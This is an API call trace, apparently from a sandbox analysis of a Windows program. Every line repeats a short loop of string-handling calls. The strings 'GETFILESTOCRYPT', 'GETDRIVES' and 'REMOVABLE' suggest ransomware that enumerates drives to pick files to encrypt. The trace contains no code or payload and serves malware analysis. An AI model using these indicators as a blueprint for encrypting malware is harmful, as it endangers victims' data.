PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.440] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.440] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.440] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.440] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.440] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.440] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.440] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.441] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.441] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.441] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.441] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.441] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.441] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.441] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.441] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.441] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.441] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.441] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.441] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.441] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.442] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.442] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.442] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.442] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.442] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.442] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.442] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.442] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.442] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.442] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.442] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.442] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.442] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.442] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.442] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.442] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.443] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.443] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.443] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.443] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.443] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.443] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.443] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.443] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.443] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.443] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.443] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.443] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.443] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.443] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.443] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.444] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.444] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.444] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.444] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.444] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.444] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.444] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.444] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.444] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.444] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.444] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.444] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.444] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.444] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.444] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.444] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.444] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.444] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.445] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.445] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.445] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.445] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.445] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.445] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.445] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.445] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.445] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.445] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.445] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.445] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.446] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.446] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.446] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.446] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.447] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.447] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.447] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.447] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.447] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.447] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.447] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.448] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.448] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.448] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.448] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.448] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.448] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.448] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.448] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.448] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.448] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.448] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.449] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.449] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.449] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.449] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.449] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.449] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.449] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.449] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.449] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.449] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.449] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.449] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.449] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.449] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.450] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.450] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.450] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.450] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.450] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.450] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.450] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.450] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.450] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.450] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.450] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.451] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.451] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.451] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.452] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.452] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.452] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.452] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.452] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.452] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.452] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.453] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.453] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.453] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.453] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.453] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.453] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.454] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.454] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.454] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.454] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.454] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.454] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.454] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.454] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.455] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.455] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.455] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.463] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.463] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.463] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.463] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.463] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.463] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.464] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.464] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.464] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.464] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.464] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.464] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.464] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.464] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.465] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.465] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.465] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.465] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.465] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.465] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.465] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.465] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.465] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.465] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.466] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.466] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.466] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.466] 